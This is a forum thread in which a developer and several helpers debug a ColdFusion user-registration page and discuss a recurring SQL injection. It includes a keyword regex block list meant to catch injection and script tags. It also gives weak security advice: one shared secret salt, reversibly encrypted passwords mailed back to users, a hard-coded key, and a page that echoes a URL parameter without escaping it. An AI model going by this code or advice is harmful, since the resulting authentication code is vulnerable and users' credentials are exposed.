  <!--- Check to see that passwords match in case the user had JavaScript disabled --->
  <cfif form.Password1 neq form.Password2>
    <h2>The passwords you entered on the registration screen do not match. Please hit your browser's Return button and enter the passwords again, taking careful note of them.</h2>
    <cfabort>
  </cfif>

  <!--- Check to make sure the Username (the primary key) doesn't already
        exist. If it does, make the user go back and enter a different Username --->
  <cfquery name="CheckPK" datasource="#APPLICATION.datasource#">
    SELECT UserName
    FROM Users
    WHERE UserName = <cfqueryparam value="#form.UserName#" cfsqltype="CF_SQL_VARCHAR" maxlength="8">
  </cfquery>
 
 
<cfif CheckPK.RecordCount GT 0>
    <cflocation URL="Registration.cfm?Message=#URLEncodedFormat("The Username you chose already exists, please choose a different Username.")#&UserName=#URLEncodedFormat(form.UserName)#" addtoken="No">
 </cfif>
 
 
    <!--- Create Salt for the password hash --->
  <cfset Salt="">
  <cfloop index="i" from="1" to="12">
    <cfset Salt = Salt & chr(RandRange(65,90))>
  </cfloop>
 
 <!--- Insert the user profile into the database. Note that the
        password is salted and then hashed using the Hash( ) function --->
  <cfquery name="AddUser" datasource="#APPLICATION.dataSource#">
    INSERT INTO Users(FirstName, LastName, UserName, Salt, Password, UserRoleID, UserEmailAddress, UserDateAdded)
    VALUES(
     <cfqueryparam cfsqltype="cf_sql_varchar" value="#form.FirstName#" maxlength="30">
    ,<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.LastName#" maxlength="30">
    ,<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserName#" maxlength="30">
    ,'#Salt#',
    ,'#Hash(Salt & form.Password1)#'
    ,5
    ,<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserEmailAddress#" maxlength="60">
    , getDate()
)
  </cfquery>

<cflocation URL="/admin/manageUser.cfm?regcomplete">
<cfelse>

 <cfparam name="form.FirstName" default="">
    <cfparam name="form.LastName" default="">
 
 
<p>Please choose a username and password, and enter them below. Please make a note of the username and password that you select.</p>
 
  <cfif IsDefined('URL.Message')>
    <cfoutput><span style="Message">#URL.Message#</span></cfoutput>
    <p>
  </cfif>
 
 
 
  <!--- begin registration form --->
 
  <cfform name="PortalRegistration" action="#CGI.script_name#" method="POST" onSubmit="return formCheck( )">

  <table border="0">
    <tr>
      <td>First Name:</td>
     <td><cfinput       type="Text"
                               name="FirstName"
                              message="Please enter a First Name for this user."
                              required="Yes"
                              validateAt="onSubmit,onServer"  
                               size="15"
                               maxlength="8"></td>
    </tr>
          <tr>
      <td>Last Name:</td>
     <td><cfinput       type="Text"
                               name="LastName"
                              message="Please enter a Last Name for this user."
                              required="Yes"
                              validateAt="onSubmit,onServer"  
                              size="15"
                              maxlength="12"></td>
    </tr>
      <tr>
      <td>Email Address:</td>
     <td><cfinput       type="Text"
                               name="UserEmailAddress"
                              message="Please enter an email address for this user."
                              required="Yes"
                              validateAt="onSubmit,onServer"
                              size="15"
                              maxlength="25"></td>
    </tr>
    <tr>
      <td>Username:</td>
      <td><cfinput       type="Text"
                                name="UserName"
                              message="Please enter a Username."
                              required="Yes"
                              validateAt="onSubmit,onServer"
                              size="15"
                              maxlength="8"></td>
    </tr>
    <tr>
      <td>Password:</td>
      <td><cfinput       type="password"
                                name="Password1"
                              message="Please enter a Password."
                              required="Yes"
                              validateAt="onSubmit,onServer"
                              size="15"
                              maxlength="12"></td>
    </tr>
    <tr>
      <td>Confirm Password:</td>
      <td><cfinput       type="password"
                                name="Password2"
                              size="15"
                              maxlength="12"></td>
    </tr>

   
 

    <tr>
      <td colspan="2" align="Center"><cfinput type="Submit" name="Submit" value="Create"></td>
    </tr>
  </table>
 
 
 
  </cfform>
 
</cfif>


  <cfinclude template="/SiteFooter.cfm" />

Open in new window

0
gdemariaCommented:

It looks like the error is right before the hash() line...

(param 3) ,'RDXHGMJGSQJL', ,'C0EDC237239E0FACAE829AB24BDAE043' ,5

see here                        ^^^^^^^

You have double commas

0
gdemariaCommented:

    ,'#Salt#' ,  <===== extra comma here

    ,'#Hash(Salt & form.Password1)#'


You have an extra comma
0
Eric BourlandAuthor Commented:
I sure did have double commas. Dang. OK. Fixed that.

Now I get this error: (sorry -- I am not trying to drive you crazy) =)

It doesn't like the GetDate function:


 Error Executing Database Query.
[Macromedia][SequeLink JDBC Driver][ODBC Socket][Microsoft][ODBC Microsoft Access Driver] Undefined function 'getDate' in expression.
 
The error occurred in D:\websites\ascassociation.org\registration.cfm: line 45

43 :     ,'#Hash(Salt & form.Password1)#'
44 :     ,5
45 :     ,<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserEmailAddress#" maxlength="60">
46 :     , getDate()
47 : )

SQLSTATE         42000
SQL          INSERT INTO Users(FirstName, LastName, UserName, Salt, Password, UserRoleID, UserEmailAddress, UserDateAdded) VALUES( (param 1) , (param 2) , (param 3) ,'TLDLTGCGRLMT' ,'617BAFB42E6178AE2B83E8AC2AEF93B4' ,5 , (param 4) , getDate() )
VENDORERRORCODE         -3102
DATASOURCE         asc
0
Gurpreet Singh RandhawaCEOCommented:
try this and see what and how it goes:

<cfqueryparam cfsqltype="cf_sql_date" value="#CreateODBCDateTime(now())#">
0
Eric BourlandAuthor Commented:
<cfqueryparam cfsqltype="cf_sql_date" value="#CreateODBCDateTime(now())#">  

That worked.

*whew*

I am trying hard to make all of my ColdFusion pages secure. Somehow, a hacker keeps getting in and uploads a script to several tables, always in the column just next to the Primary Key column.

Does the code, below, look secure to you? What else can I do to make this secure?

I really appreciate everyone's help. I am really deeply grateful, because I feel vulnerable and uninformed. I feel a little cheated by the INSERT and UPDATE code given in the Forta ColdFusion books -- there is no mention of CFQUERYPARAM in the examples he gives. This frustrates me because I try to learn this stuff before I pester the experts with my questions.

Eric
<cfinclude template="/SiteHeader.cfm" />

<cfset application.datasource = "asc">

<h2>Please create a username and password</h2>

<cfif CGI.request_method is "Post">
  <!--- Check to see that passwords match in case the user had JavaScript disabled --->
  <cfif form.Password1 neq form.Password2>
    <h2>The passwords you entered on the registration screen do not match. Please hit your browser's Return button and enter the passwords again, taking careful note of them.</h2>
    <cfabort>
  </cfif>

  <!--- Check to make sure the Username (the primary key) doesn't already
        exist. If it does, make the user go back and enter a different Username --->
  <cfquery name="CheckPK" datasource="#APPLICATION.datasource#">
    SELECT UserName
    FROM Users
    WHERE UserName = <cfqueryparam value="#form.UserName#" cfsqltype="CF_SQL_VARCHAR" maxlength="8">
  </cfquery>
 
 
<cfif CheckPK.RecordCount GT 0>
    <cflocation URL="Registration.cfm?Message=#URLEncodedFormat("The Username you chose already exists, please choose a different Username.")#&UserName=#URLEncodedFormat(form.UserName)#" addtoken="No">
 </cfif>
 
 
    <!--- Create Salt for the password hash --->
  <cfset Salt="">
  <cfloop index="i" from="1" to="12">
    <cfset Salt = Salt & chr(RandRange(65,90))>
  </cfloop>
 
 <!--- Insert the user profile into the database. Note that the
        password is salted and then hashed using the Hash( ) function --->
  <cfquery name="AddUser" datasource="#APPLICATION.dataSource#">
    INSERT INTO Users(FirstName, LastName, UserName, Salt, Password, UserRoleID, UserEmailAddress, UserDateAdded)
    VALUES(
     <cfqueryparam cfsqltype="cf_sql_varchar" value="#form.FirstName#" maxlength="30">
    ,<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.LastName#" maxlength="30">
    ,<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserName#" maxlength="30">
    ,'#Salt#'
    ,'#Hash(Salt & form.Password1)#'
    ,5
    ,<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserEmailAddress#" maxlength="60">
    ,<cfqueryparam cfsqltype="cf_sql_date" value="#CreateODBCDateTime(now())#"> 
)
  </cfquery>

<cflocation URL="/admin/manageUser.cfm?regcomplete">
<cfelse>

 <cfparam name="form.FirstName" default="">
    <cfparam name="form.LastName" default="">
 
 
<p>Please choose a username and password, and enter them below. Please make a note of the username and password that you select.</p>
 
  <cfif IsDefined('URL.Message')>
    <cfoutput><span style="Message">#URL.Message#</span></cfoutput>
    <p>
  </cfif>
 
 
 
  <!--- begin registration form --->
 
  <cfform name="PortalRegistration" action="#CGI.script_name#" method="POST" onSubmit="return formCheck( )">

  <table border="0">
    <tr>
      <td>First Name:</td>
     <td><cfinput       type="Text"
                               name="FirstName"
                              message="Please enter a First Name for this user."
                              required="Yes"
                              validateAt="onSubmit,onServer"  
                               size="15"
                               maxlength="8"></td>
    </tr>
          <tr>
      <td>Last Name:</td>
     <td><cfinput       type="Text"
                               name="LastName"
                              message="Please enter a Last Name for this user."
                              required="Yes"
                              validateAt="onSubmit,onServer"  
                              size="15"
                              maxlength="12"></td>
    </tr>
      <tr>
      <td>Email Address:</td>
     <td><cfinput       type="Text"
                               name="UserEmailAddress"
                              message="Please enter an email address for this user."
                              required="Yes"
                              validateAt="onSubmit,onServer"
                              size="15"
                              maxlength="25"></td>
    </tr>
    <tr>
      <td>Username:</td>
      <td><cfinput       type="Text"
                                name="UserName"
                              message="Please enter a Username."
                              required="Yes"
                              validateAt="onSubmit,onServer"
                              size="15"
                              maxlength="8"></td>
    </tr>
    <tr>
      <td>Password:</td>
      <td><cfinput       type="password"
                                name="Password1"
                              message="Please enter a Password."
                              required="Yes"
                              validateAt="onSubmit,onServer"
                              size="15"
                              maxlength="12"></td>
    </tr>
    <tr>
      <td>Confirm Password:</td>
      <td><cfinput       type="password"
                                name="Password2"
                              size="15"
                              maxlength="12"></td>
    </tr>

   
 

    <tr>
      <td colspan="2" align="Center"><cfinput type="Submit" name="Submit" value="Create"></td>
    </tr>
  </table>
 
 
 
  </cfform>
 
</cfif>


  <cfinclude template="/SiteFooter.cfm" />

Open in new window

0
Gurpreet Singh RandhawaCEOCommented:
Alrigght code is good and ok!

You can deo few things:

for salt, password, userroleID

use the cfqueryparam too.

That's all. Everything is Ok and Good
0
gdemariaCommented:
Eric, I as a small tangent, why are you saving the salt in the same record as your password?

The purpose of a salt is to add a value, like a secret code, to keep the hashed value safe.   You are putting it right along with the password for anyone who steals the password to also steal the secret code

More things you can work on for SQL injection include checking the values in the field to be sure there is not HTML  or code elements entered (such as <script>, CAST(), DECLARE, <javascript, etc...)

Think of this, in your document form, the SQL injector can enter the injection code right into your form and submit it.  Because it's text it will go right through your cfqueryparam and get entered into your database.   Then when you display the value in html, it executes...

0
Gurpreet Singh RandhawaCEOCommented:
gdemaria is right on his last comment! as for a practical example, you can define the XSS attack list in your Application.cfc or Aplication.cfm code as:


<cfset request.filterfields = "NOT REFindNoCase("(script)|(<)|(>)|(%3c)|(%3e)|(SELECT) |(UPDATE) |(INSERT) |(DELETE)|(GRANT) |(REVOKE)|(UNION)|(<)|(>)">

then u can have a check
0
_agx_Commented:
> Macromedia][SequeLink JDBC Driver][ODBC Socket][Microsoft][ODBC Microsoft Access Driver]

   Are you talking about MS SQL or MS Access?  AFAIK MS Access can't execute multiple
   statements.  So it's not vulnerable to the type of sql injection you're talking about here.  ie
   injecting multiple SQL statements.  MS SQL, of course, is very vulnerable.

   That said, you should _always_ use cfqueryparam .. even with Access :) It's good  coding
   practice and cfqueryparam has other benefits too.


>   ,<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserName#" maxlength="30">
>    ,'#Salt#'
>    ,'#Hash(Salt & form.Password1)#'
>    ,5

Best to get into the habit of cfqueryparam'ing ALL values.  It's very easy to forget a few when you don't use it consistently on all fields :)  Even if it's not needed, there's no down side to using it. Better safe than sorry.

0
Eric BourlandAuthor Commented:
gdemaria, myselfrandhawa, and arnold,

This is what frustrates me. I wrote the code for the registration.cfm page several years ago. In fact, gdemaria helped me with it, if I remember correctly.

But I was following an example from a ColdFusion book, not the Forta book. I followed it very closely. I read and studied; I understood the concepts. (I usually understand the concepts; what I need help with, most often, is syntax -- how to say, in the language of ColdFusion, what I want ColdFusion to do.)

I would rather NOT use salt and hash. I would rather use encryption, as I have used before. I have no idea why the salt is kept right along side the hash. I remember, distantly, the book telling me to do it this way. (I don't have the book anymore.)

So, how can I improve this registration form? The examples I read in books seem to not help much, in fact, they make me vulnerable. Hence, right now, I am feeling very tense, stressed out. My girlfriend thinks I am a nutcase and, right now, she's right. =)

There MUST be a form somewhere, where the hacker is placing his injection code. Could it be this registration form, or another form like it?

For starters, I want to get rid of the SALT and HASH. Those are impractical. Especially side by side.

I am going to work on this, and come back with new code to show you. I will get rid of the salt and hash. I need to process new ideas and new syntax for this page -- with the idea that I will apply these new ideas to other pages to increase their security.

Thank you again. I'll post here again soon.

Eric

0
_agx_Commented:
> Because it's text it will go right through your cfqueryparam and get entered into your database.  
> Then when you display the value in html, it executes...
 
   Didn't see that response before posting.  Yes, that's another type can affect any db type.  I was talking
  about the "multiple statement " type of attack which results from not using cfqueryparam.  But .. are you using
   Access or MS SQL ..?  
0
gdemariaCommented:
MS SQL
0
Gurpreet Singh RandhawaCEOCommented:
Ok! two options for you

1. Either you use HASH only no Salt and Nothing

Like store the Password simply by wrapping it with HASH(form.password) in database

Now if u do the above way. If u have the Remember me Option, you will not be able to decrypt the new password. You will ask client to enter his/her email address, some security code and will trigger and email to verify and generate a new password. he will do the needful and u store new password in the form the HASH again in database. A bit of extra work but very secure..

2 option, you encrypt the password using ENCYPT function and then store in database and when forgot password is mentioned, you just picks the encypted password and decrypts it and sends him in the email. Simple enough, although secure methodology. too.

Choice is yours
0
gdemariaCommented:
Eric, you can keep the hash()

I think you want to move the salt value to a global variable setup in your application.cfm file.

<cfset request.salt = "... my secret code...">

Of course the salt can never change or you will lose your ability to check your hash.

Hash is good for passwords, you don't *really* need to unencrypt a password, you just need to validate it.    You take the password the user attempts to login with, hash it with the same salt and check it againt the password stored in the database.  If it's a match, you let them in.

If they forget their password, they can reset it, but they won't be able to find it out.

You can also change to encryption if you prefer.

But none of these things have much to do with SQL injection.  They are just general security topics.

0
_agx_Commented:
> MS SQL

Okay.  

@gdemaria - I am going to bow out, cause you've got it covered. But has anyone done a quick search on the string being injected? Just to see if there's any info on it or at least verify that sql injection was really the entrance point (ie not something else file uploads, ftp servers, etc...).  Also if the db has been compromised, maybe change the passwords for good measure.  

Anyway, best of luck guys.
0
Eric BourlandAuthor Commented:
Hang on. I just thought of something big.

I use the TinyMCE editor. Are you familiar with it? http://tinymce.moxiecode.com/index.php

It's great. It's pure javascript, and creates a rich text WYSIWYG form in which a user can format a page, then submit the form to the database with all the formatting intact.

Naturally, you have to protect against SQL injection when using TinyMCE.

I have three instances of TinyMCE running on my server. Three different web sites use them.

I have used CFQUERYPARAM to secure the INSERT and DELETE pages.

BUT ... to UPDATE the pages, I have not used CFQUERYPARAM. Instead I just used CFUPDATE, which is recommended in Ben Forta's CF8 book. Here's my Update code -- see attached. I like it because it is very simple. And I use the FormFields attribute, which supposedly provides protection against mis-use of the fields.

According to these pages ...

http://help.adobe.com/en_US/ColdFusion/9.0/Developing/WSc3ff6d0ea77859461172e0811cbec0e02b-7ff3.html#WSc3ff6d0ea77859461172e0811cbec22c24-7bd3

http://blog.securityps.com/2009/05/demystifying-cfinsert-sql-injection.html

... it is PROBABLY OK for me to use CFUPDATE.

But, still, I am getting the injection attack. In fact it just happened again, just now. Which spooks me. I'm not going to sleep tonight.

Do you recommend for or against CFUPDATE?

Eric
<!--- Update values in database columns --->

<cfupdate datasource="ebwebwork" tablename="cedarcreekbusinesssolutions" formfields="PageTitle, PageContent" />


<!--- When done go back to Admin Page --->
<cflocation url="/admin/managePages.cfm" />

Open in new window

0
Gurpreet Singh RandhawaCEOCommented:
have u checked my post regarding this:

<cfset request.filterfields = "NOT REFindNoCase("(script)|(<)|(>)|(%3c)|(%3e)|(SELECT) |(UPDATE) |(INSERT) |(DELETE)|(GRANT) |(REVOKE)|(UNION)|(<)|(>)">
0
Eric BourlandAuthor Commented:
myselfrandhawa,

I did see this:

<cfset request.filterfields = "NOT REFindNoCase("(script)|(<)|(>)|(%3c)|(%3e)|(SELECT) |(UPDATE) |(INSERT) |(DELETE)|(GRANT) |(REVOKE)|(UNION)|(<)|(>)">

But I don't understand it. =)  This is a line of code that prevents SELECT, UPDATE, etc? I would put this in application.cfc?

I admit I am confused.
0
Eric BourlandAuthor Commented:
Gentlemen, I'm going to get some sleep. I'll return early tomorrow to this question.

My goal, firstly, will be to get registration.cfm set up in a secure, sensible fashion that I understand thoroughly.

I really appreciate your time and patience. Have a very good evening.

Best from Eric
0
Gurpreet Singh RandhawaCEOCommented:
this is where iin your form fields the hacker tries to use the select statement:

you can have a check like this:

<cfif NOT REFindNoCase("(script)|(<)|(>)|(%3c)|(%3e)|(SELECT) |(UPDATE) |(INSERT) |(DELETE)|(GRANT) |(REVOKE)|(UNION)|(<)|(>)",form.username>
<cfset msg = "Error! Invalid values you trying to pass, Same as you can define in the tinymce code when u check through server side."

</cfif>
0
Gurpreet Singh RandhawaCEOCommented:
lie this a little modification:  


<cfif NOT REFindNoCase("(script)|(<)|(>)|(%3c)|(%3e)|(SELECT) |(UPDATE) |(INSERT) |(DELETE)|(GRANT) |(REVOKE)|(UNION)|(<)|(>))",form.username>
<cfset msg = "Error! Invalid values you trying to pass, Same as you can define in the tinymce code when u check through server side."

</cfif>
0
gothamiteCommented:
Hi

I know nothing about ColdFusion, however one thing you should probably be doing in general is limiting your attack surface by locking down the security permissions of the user that ColdFusion logs into SQL with. Regardless of the injection attack, it's probably not necessary for that account to legitimately need to query the system catalogs, which is what you would need to do in order to do stuff in every table as you have stated. If that is open, there are probably a lot of other things open as well so I would recommend a full audit of your security implementation in SQL.

0
Eric BourlandAuthor Commented:
gothamite
>>>recommend a full audit of your security implementation in SQL.

Very good point, and I am going to do that next. It's on my list.

gdemaria,
>>>You can also change to encryption if you prefer.

This is what I have started to do.

We worked on this user registration application together a long time ago, in 2007. The application comprises three files:

registration.cfm
application.cfc (in web root)
authenticate.cfm (we might not need this anymore?)

The database is a simple MS Access database (for now). It has one table with these columns:

UserID (pk)
Username
Password
FirstName
LastName
LastLogin_TimeStamp
UserRoleID
UserEmailAddress
UserDateAdded

Currently, in registration.cfm, I get an error:

 Element PASSWORD is undefined in FORM.
 
The error occurred in D:\websites\ascassociation.org\admin\registration.cfm: line 49

47 :  <cfparam name="form.LastName" default="">
48 :  
49 : <cfif len(FORM.Password)>
50 :    <cfset Password = encrypt(form.Password,request.encryptionKey)>
51 : <cfelse>

Which makes sense, since the form does not include a field for Password. In has fields for Password1 and Password2, which are supposed to match. How can I get the form fields Password1 and Password2 to match again, and populate the column password with an encrypted password?

In registration.cfm I also set up CFQUERYPARAM around the SQL values.

I am curious about the file authenticate.cfm. Do we need it? Can it be integrated into application.cfc or the registration.cfm file?

Thank you again for your help. Hope you are well.

Eric
registration.cfm:
<cfinclude template="/SiteHeader.cfm" />

<cfset application.datasource = "asc">

<h2>Please create a username and password</h2>

<cfif CGI.request_method is "Post">
  <!--- Check to see that passwords match in case the user had JavaScript disabled --->
  <cfif form.Password1 neq form.Password2>
    <h2>The passwords you entered on the registration screen do not match. Please click your browser's Return button and enter the passwords again, taking careful note of them.</h2>
    <cfabort>
  </cfif>

  <!--- Check to make sure the Username doesn't already exist. If it does, make the user go back and enter a different Username --->
  <cfquery name="CheckPK" datasource="#APPLICATION.datasource#">
    SELECT UserName
    FROM Users
    WHERE UserName = <cfqueryparam value="#form.UserName#" cfsqltype="cf_sql_varchar" maxlength="8">
  </cfquery>
 
 
<cfif CheckPK.RecordCount GT 0>
    <cflocation URL="registration.cfm?Message=#URLEncodedFormat("The Username you chose already exists, please choose a different Username.")#&amp;UserName=#URLEncodedFormat(form.UserName)#" addtoken="No">
 </cfif>
 
 
 <!--- Insert the user profile into the database. Note that the
        password is encrypted encrypt function --->
  <cfquery name="AddUser" datasource="#APPLICATION.dataSource#">
    INSERT INTO Users(FirstName, LastName, UserName, Password, UserRoleID, UserEmailAddress, UserDateAdded)
    VALUES(
     <cfqueryparam cfsqltype="cf_sql_varchar" value="#form.FirstName#" maxlength="30">
    ,<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.LastName#" maxlength="30">
    ,<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserName#" maxlength="30">
    ,<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.Password#">
    ,<cfqueryparam cfsqltype="cf_sql_integer" value="5">
    ,<cfqueryparam cfsqltype="cf_sql_varchar" value="#form.UserEmailAddress#" maxlength="60">
    ,<cfqueryparam cfsqltype="cf_sql_date" value="#CreateODBCDateTime(now())#"> 
)
  </cfquery>

<cflocation URL="/admin/manageUser.cfm?regcomplete">
<cfelse>

 <cfparam name="form.FirstName" default="">
 <cfparam name="form.LastName" default="">
 
<cfif len(FORM.Password)>
   <cfset Password = encrypt(form.Password,request.encryptionKey)>
<cfelse>
   <cfset Password = "">
</cfif>
 
<p>Please choose a username and password, and enter them below. Please make a note of the username and password that you select.</p>
 
  <cfif IsDefined('URL.Message')>
    <cfoutput><span style="Message">#URL.Message#</span></cfoutput>
    <p>
  </cfif>
 
 
 
  <!--- begin registration form --->
 
  <cfform name="PortalRegistration" action="#CGI.script_name#" method="POST" onSubmit="return formCheck( )">

  <table border="0">
    <tr>
      <td>First Name:</td>
     <td><cfinput       type="Text"
                               name="FirstName"
                              message="Please enter a First Name for this user."
                              required="Yes"
                              validateAt="onSubmit,onServer"  
                               size="15"
                               maxlength="8"></td>
    </tr>
          <tr>
      <td>Last Name:</td>
     <td><cfinput       type="Text"
                               name="LastName"
                              message="Please enter a Last Name for this user."
                              required="Yes"
                              validateAt="onSubmit,onServer"  
                              size="15"
                              maxlength="12"></td>
    </tr>
      <tr>
      <td>Email Address:</td>
     <td><cfinput       type="Text"
                               name="UserEmailAddress"
                              message="Please enter an email address for this user."
                              required="Yes"
                              validateAt="onSubmit,onServer"
                              size="15"
                              maxlength="25"></td>
    </tr>
    <tr>
      <td>Username:</td>
      <td><cfinput       type="Text"
                                name="UserName"
                              message="Please enter a Username."
                              required="Yes"
                              validateAt="onSubmit,onServer"
                              size="15"
                              maxlength="8"></td>
    </tr>
    <tr>
      <td>Password:</td>
      <td><cfinput       type="password"
                                name="Password1"
                              message="Please enter a Password."
                              required="Yes"
                              validateAt="onSubmit,onServer"
                              size="15"
                              maxlength="12"></td>
    </tr>
    <tr>
      <td>Confirm Password:</td>
      <td><cfinput       type="password"
                                name="Password2"
                              size="15"
                              maxlength="12"></td>
    </tr>

   
 

    <tr>
      <td colspan="2" align="Center"><cfinput type="Submit" name="Submit" value="Create"></td>
    </tr>
  </table>
 
 
  </cfform>
 
</cfif>

  <cfinclude template="/SiteFooter.cfm" />



authenticate.cfm:
<cfquery name="qryGetUserDetails" datasource="#request.datasource#">
      SELECT UserID, Username, Password, FirstName, LastName, LastLogin_TimeStamp, UserRoleID, UserEmailAddress, UserDateAdded
      FROM Users
      WHERE Username = <cfqueryparam value="#form.UserName#" cfsqltype="CF_SQL_VARCHAR" maxlength="8">
</cfquery>

<cfif qryGetUserDetails.RecordCount eq 0>
   <cfset request.errorMessage = "The Username <strong>" & FORM.Username & "</strong> is invalid.">
<cfelseif qryGetUserDetails.Password is not Hash(qryGetUserDetails.Salt & FORM.Password)>
   <cfset request.errorMessage = "The Password you supplied for user <strong>" & FORM.Username & "</strong> was incorrect.">
<cfelse>  <!--- A valid user has authenticated with the system, perform necessary actions. --->
           
    <cflock scope="SESSION" throwontimeout="Yes" timeout="7" type="EXCLUSIVE">
          <cfset session.user.LoggedIn   = true>
		  <cfset session.user.UserID  = qryGetuserDetails.UserID>
          <cfset session.user.userRoleID = qryGetuserDetails.userRoleID>
          <cfset session.user.username   = qryGetuserDetails.username>
          <cfset session.user.FirstName  = qryGetuserDetails.FirstName>
          <cfset session.user.LastName   = qryGetuserDetails.LastName>
          <cfset session.user.LastLogin  = qryGetuserDetails.LastLogin_TimeStamp>
            <cfif isDate(qryGetuserDetails.LastLogin_TimeStamp)>
               <cfset session.user.LoginMessage = "You logged in most recently on " & DateFormat(qryGetuserDetails.LastLogin_TimeStamp, "mm.dd.yyyy") & " at " & TimeFormat(qryGetuserDetails.LastLogin_TimeStamp, "hh:mm tt") & " EST.">
            <cfelse>
               <cfset session.user.LoginMessage = "This is your first visit!">
            </cfif>
      </cflock>

    <!--- Update the LastLogin timestamp. --->
    <cfquery name="qryUpdateLastLoginTS" datasource="#request.datasource#">
      UPDATE Users
      SET LastLogin_TimeStamp = #CreateODBCDateTime(Now())#
      WHERE UserID = <cfqueryparam value="#qryGetuserDetails.UserID#" cfsqltype="cf_sql_integer">
    </cfquery>

</cfif>




Application.cfc (in web root):

<cfcomponent name="Application" displayname="Application Component for Login Security">

	<cfset this.name = "loginSecurity">
	<cfset this.applicationTimeout = CreateTimeSpan(0,0,120,0)>
	<cfset this.sessionManagement = "true">
	<cfset this.sessionTimeout = CreateTimeSpan(0,0,120,0)>
	<cfset this.clientManagement = "false">
		
	<!--- METHOD: onApplicationStart --->
	<cffunction name="onApplicationStart" returntype="boolean" output="true">
		<!--- Set up Application variables. Locking the Application scope is not necessary in this method. --->
		<cfset Application.configured = 1>
		<cfset Application.datetimeConfigured = TimeFormat(Now(), "hh:mm tt") & "  " & DateFormat(Now(), "mm.dd.yyyy")>
		<cfset Application.currentSessions = 0>
		
		
		<!--- set the datasource --->
<cfset request.datasource = "asc">


<!--- note: use request.datasource throughout applications to set the datasource --->
		
		<cfreturn true>
	</cffunction>
	<!--- END METHOD: onApplicationStart --->

	
	<!--- METHOD: onSessionStart --->
	 <cffunction name="onSessionStart" returntype="void">
      
      <!--- define all session variables, so they will always exist ---->
      <cfset session.user.loggedIn  = false>
	  <cfset session.user.UserID  = "">
      <cfset session.user.UserRoleID  = "">
      <cfset session.user.Username    = "">
      <cfset session.user.FirstName   = "">
      <cfset session.user.LastName    = "">
      <cfset session.user.LastLogin   = "">
      <cfset session.user.LoginMessage = "">

	  
 </cffunction>
 <!--- END METHOD: onSessionStart --->
      

	<!--- METHOD: onRequestStart --->
      
 <cffunction name="onRequestStart" returntype="boolean">
      <!--- Set up request variables here. --->
      <cfset var secureDirectories = "admin">
      <cfset var loginRequired = false>
      <cfset request.encryptionKey = "yourSecretPassword">
   
	  
      		<!--- set the datasource --->
<cfset request.datasource = "asc">

	  
      <!--- if user/pass is passed, then authenticate the user --->
      <cfif isDefined("FORM.Username") AND isDefined("FORM.Password") and len(form.username)>
	  
        <cfinclude template="authenticate.cfm">
		
		<!--- verify username/password, define session variables --->
        <!--- check box to remember username was checked, so make a cookie for it --->
		
        <cfif isDefined("form.SaveUsername") and form.SaveUsername is "Yes">
          <cfcookie name="SaveUsername" value="#form.Username#" expires="7">
        </cfif>
      </cfif>
      
      <!--- copy the session scope (created in session start) to the Global REQUEST scope for easy access --->
      <cflock scope="SESSION" throwontimeout="Yes" timeout="30" type="READ">
        <cfset request.user = structCopy(session.user)>
      </cflock>
      
      <cfloop index="kk" list="#secureDirectories#">
        <cfif cgi.script_name contains "/#kk#/">
          <cfset loginRequired = true>
          <cfbreak>
        </cfif>
      </cfloop>
      
      <cfif loginRequired and NOT request.user.loggedIn>
        <cfinclude template="/login.cfm">
        <cfabort>
      </cfif>      
          
      <cfreturn true>
</cffunction>
<!--- METHOD: onRequestStart --->



	<!--- METHOD: onSessionEnd --->
	<cffunction name="onSessionEnd" returntype="void">
		<cfargument name="SessionScope" required="true">
		<cfargument name="ApplicationScope" required="true">
		
		<cflock name="lck_currentSessions" throwontimeout="Yes" timeout="7" type="EXCLUSIVE">
			<!---
				If the user's session ID is still hanging around (the user is getting automatically logged out due to timeout)
				delete the session data from the Application scope and decrement the current sessions value.
			--->
			<cfset sessionPosition = ListFind(ArrayToList(arguments.ApplicationScope.sessionData), arguments.SessionScope.sessionid)>
			<cfif sessionPosition neq 0>
				<cfset ArrayDeleteAt(arguments.ApplicationScope.sessionData, sessionPosition)>
				<cfset arguments.ApplicationScope.currentSessions = arguments.ApplicationScope.currentSessions - 1>
			</cfif>
		</cflock>
		<!--- <cflog file="#this.name#" type="information" text="Session ended. Number of active sessions now: #arguments.ApplicationScope.currentSessions#"> --->
	</cffunction>
	<!--- END METHOD: onSessionEnd --->
	
	
	<!--- METHOD: onRequestEnd --->
	<cffunction name="onRequestEnd" returntype="void">
		<!--- Write any code that needs to run when the page request ends. --->
	</cffunction>
	<!--- END METHOD: onRequestEnd --->
	
	
</cfcomponent>

Open in new window

0
gdemariaCommented:
It looks like  authenticate.cfm  checks the username and password and sets up the session for the user if the credentials are valid.   If you don't want a separate file, you can copy the contents into the application.cfc file where the <cfinclude template="authenticate.cfm">  currently sits.   But I think you need it.

But your question isn't about authenticating, sounds like it's about saving the user profile data.

You have to compare password 1 and password 2, if they are the same, then you can encrypt either one of them (because they are the same) and store that value.

This is off-track from the question asked, so I suggest opening a new question.   Future readers who want to learn about SQL injection will not want to follow a thread that tangents to a new topic.
0
Eric BourlandAuthor Commented:
>>>This is off-track from the question asked, so I suggest opening a new question.   Future readers who want to learn about SQL injection will not want to follow a thread that tangents to a new topic.

I agree. I will do so.
0
Eric BourlandAuthor Commented:
Thank you for your help! I am still tracking down the leak that allows the SQL injection, but this is progress.

Eric
0
It's more than this solution.Get answers and train to solve all your tech problems - anytime, anywhere.Try it for free Edge Out The Competitionfor your dream job with proven skills and certifications.Get started today Stand Outas the employee with proven skills.Start learning today for free Move Your Career Forwardwith certification training in the latest technologies.Start your trial today
Web Servers

From novice to tech pro — start learning today.